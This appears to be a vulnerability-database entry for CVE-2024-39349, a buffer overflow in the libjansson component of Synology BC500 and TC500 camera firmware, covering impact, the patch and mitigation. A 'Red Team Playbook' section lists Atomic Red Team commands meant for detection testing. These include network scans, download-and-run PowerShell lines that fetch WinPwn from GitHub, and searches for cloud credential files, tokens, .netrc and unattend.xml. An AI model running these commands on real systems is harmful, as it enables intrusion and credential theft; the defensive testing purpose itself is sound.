CVE-2024-39349
Overview
This vulnerability is a classic buffer overflow caused by an unchecked buffer copy operation in the libjansson component of Synology Camera Firmware. The flaw arises from improper validation of input size during buffer copying, leading to memory corruption. It specifically affects the firmware implementations on Synology BC500 and TC500 camera models prior to version 1.0.7-0298.
Vulnerability Description
A vulnerability regarding buffer copy without checking size of input ('Classic Buffer Overflow') is found in the libjansson component and it does not affect the upstream library. This allows remote attackers to execute arbitrary code via unspecified vectors. The following models with Synology Camera Firmware versions before 1.0.7-0298 may be affected: BC500 and TC500.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on affected Synology camera devices, potentially gaining full control over the system. Exploitation requires only network access, with no user interaction or privileges needed, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful attacks could lead to device compromise, data theft, or disruption of camera services, impacting organizational security and surveillance capabilities.
Solution
Synology has addressed this vulnerability in Camera Firmware version 1.0.7-0298 and later for the BC500 and TC500 models. Administrators should apply the update as detailed in Synology Security Advisory SA-23-15, available at https://www.synology.com/en-global/security/advisory/Synology_SA_23_15. No alternative workarounds are provided; timely firmware upgrade is the recommended mitigation.
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Full Analysis
The vulnerability in question arises from a classic buffer overflow issue within the libjansson component, which is utilized in specific firmware versions of Synology's BC500 and TC500 camera models. This flaw occurs due to the absence of proper size checks during buffer copy operations, allowing an attacker to write more data to a buffer than it can hold. When this happens, the excess data can overwrite adjacent memory, potentially leading to arbitrary code execution. This vulnerability is particularly concerning because it does not affect the upstream library, indicating a localized issue within the firmware that could be exploited by malicious actors.
Attack vectors for this vulnerability are varied, with remote exploitation being a primary concern. An attacker could leverage this flaw by sending specially crafted input to the affected devices, potentially through network interfaces or APIs exposed by the camera firmware. Given that these devices are often deployed in environments where they are accessible over the internet, the risk of exploitation increases significantly. Scenarios could include an attacker gaining control over the camera, allowing them to manipulate video feeds, exfiltrate sensitive data, or even pivot to other devices within the same network. The ability to execute arbitrary code remotely poses a severe threat, as it could lead to a full compromise of the device and its associated systems.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on these camera models for security and surveillance. The potential for unauthorized access to video feeds can lead to significant breaches of privacy and security, undermining trust in the organization’s ability to protect sensitive information. Additionally, the exploitation of this vulnerability could facilitate further attacks within the network, leading to data loss, financial repercussions, and damage to the organization’s reputation. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a severe risk to affected systems.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular firmware updates should be prioritized, as the vendor may release patches to address this specific issue. Intrusion detection systems (IDS) can be employed to monitor for unusual traffic patterns or attempts to exploit the vulnerability. Additionally, network segmentation can help limit the exposure of vulnerable devices to the internet, reducing the attack surface. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively. Educating staff about the risks associated with IoT devices and implementing strict access controls can further enhance security posture.
In conclusion, the buffer overflow vulnerability in the libjansson component of Synology's BC500 and TC500 camera firmware presents a significant threat to both individual users and organizations. The potential for remote code execution, coupled with the widespread deployment of these devices, necessitates immediate attention and action from affected parties. By adopting robust detection and mitigation strategies, organizations can protect themselves against the exploitation of this vulnerability and safeguard their critical assets.
Affected Products (2)
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Synology | Bc500 Firmware | All |
cpe:2.3:o:synology:bc500_firmware:*:*:*:*:*:*:*:*
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Synology | Tc500 Firmware | All |
cpe:2.3:o:synology:tc500_firmware:*:*:*:*:*:*:*:*
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Exploits
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Threat Feed
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Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-39349 |
| synology.com |
GitHub CVE
vendor-advisory
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https://www.synology.com/en-global/security/advisory/Synology_SA_23_15 |